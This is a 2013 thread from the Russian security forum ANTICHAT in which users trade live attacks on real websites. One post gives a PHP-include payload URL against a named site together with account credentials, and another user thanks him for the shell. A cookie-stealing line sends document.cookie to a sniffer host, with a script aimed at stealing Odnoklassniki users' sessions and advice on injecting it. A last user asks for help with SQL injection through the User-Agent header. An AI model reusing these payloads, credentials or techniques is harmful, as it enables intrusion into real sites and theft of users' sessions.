HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #22901  
Старый 24.10.2013, 22:12
noviks
Guest
Сообщений: n/a
Провел на форуме:
4709

Репутация: 0
По умолчанию

Или даже так http://go.jetswap.com/account?mode=data:;base64,PD9waHAgcGhwaW5mbygpPz4= только нужна авторизация на сайте

вот логин пароль

japan68 261268
 
Ответить с цитированием

  #22902  
Старый 24.10.2013, 22:19
djhovo09
Guest
Сообщений: n/a
Провел на форуме:
943

Репутация: 0
По умолчанию

здравствуйте , я хочу украсть куки через йфраме ,но не получается потому что кукиси на втором домене

[/QUOTE]

img.src="http://snifer.ejan.ru/img.php?"+document.cookie;

Цитата:
Сообщение от None  
помогите разобраться
 
Ответить с цитированием

  #22903  
Старый 24.10.2013, 22:32
qaz
Guest
Сообщений: n/a
Провел на форуме:
344922

Репутация: 75
По умолчанию

Цитата:
Сообщение от noviks  
noviks said:
Или даже так http://go.jetswap.com/account?mode=data:;base64,PD9waHAgcGhwaW5mbygpPz4= только нужна авторизация на сайте
вот логин пароль
japan68 261268
ахренеть)) спс чувак за шелл на таком офигенном проекте)) где ты эту ссыль взял? скажи честно))
 
Ответить с цитированием

  #22904  
Старый 24.10.2013, 22:34
noviks
Guest
Сообщений: n/a
Провел на форуме:
4709

Репутация: 0
По умолчанию

Цитата:
Сообщение от qaz  
qaz said:
ахренеть)) спс чувак за шелл на таком офигенном проекте)) где ты эту ссыль взял? скажи честно))
Я его уже ломал пару раз только через SQl ну вот с инклуде я не дружу
 
Ответить с цитированием

  #22905  
Старый 24.10.2013, 22:50
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от noviks  
noviks said:
Я его уже ломал пару раз только через SQl ну вот с инклуде я не дружу
Подарил людям счастье 58к трафа и тиц 250 PR3, + реверс в добавок, теперь начинается шоу программ "Остаться в живых"
 
Ответить с цитированием

  #22906  
Старый 24.10.2013, 23:00
noviks
Guest
Сообщений: n/a
Провел на форуме:
4709

Репутация: 0
По умолчанию

не жалко ,только на вопрос мне так и не ответили ,некогда однако
 
Ответить с цитированием

  #22907  
Старый 24.10.2013, 23:06
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875

Репутация: 137
По умолчанию

Цитата:
Сообщение от djhovo09  
djhovo09 said:
здравствуйте , я хочу украсть куки через йфраме ,но не получается потому что кукиси на втором домене

img.src="http://snifer.ejan.ru/img.php?"+document.cookie;

помогите разобраться
скрипт должен встовляться в тело ломаемой страници, а не там куда ссылается фреем, если можешь вставить фреем в тело страници, значит сможешь вставить и скрипт.
 
Ответить с цитированием

  #22908  
Старый 24.10.2013, 23:55
djhovo09
Guest
Сообщений: n/a
Провел на форуме:
943

Репутация: 0
По умолчанию

я хочу взломать странички одноклассники.ру и там ставить мой сципт не получится ))) я могу так собирать куки из одноклассники.ру и хочу это отправить в сниффер

!function (d, id, did, st) {

var js = d.createElement("script");

js.src = "http://snifer.ejan.ru/connect.js";

js.onload = js.onreadystatechange = function () {

if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {

if (!this.executed) {

this.executed = true;

setTimeout(function () {

OK.CONNECT.insertGroupWidget(id,did,st);

}, 0);

}

}}

d.documentElement.appendChild(js);

}(document,"ok_group_widget","52864984219766","{wi dth:250,height:335}");
 
Ответить с цитированием

  #22909  
Старый 25.10.2013, 22:49
er9j6@
Guest
Сообщений: n/a
Провел на форуме:
107835

Репутация: 23
По умолчанию

Нашел скуль в User-Agent, запросы через GET обрубаются

Forbidden

You don't have permission to access on this server.

поделитесь скриптом на php, для передачи User-Agent в Post-запросе. Сам написать не могу, знаний маловато
 
Ответить с цитированием

  #22910  
Старый 25.10.2013, 23:13
er9j6@
Guest
Сообщений: n/a
Провел на форуме:
107835

Репутация: 23
По умолчанию

Цитата:
Сообщение от OxoTnik  
OxoTnik said:
Firefox расширения на выбор
1) Tamper Data
2) Hack Bar
3) Live HTTP Headers
Ты это имел ввиду?
нужен скрипт на php, в этих прогах скулю в User-Agent постом не получается передать
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ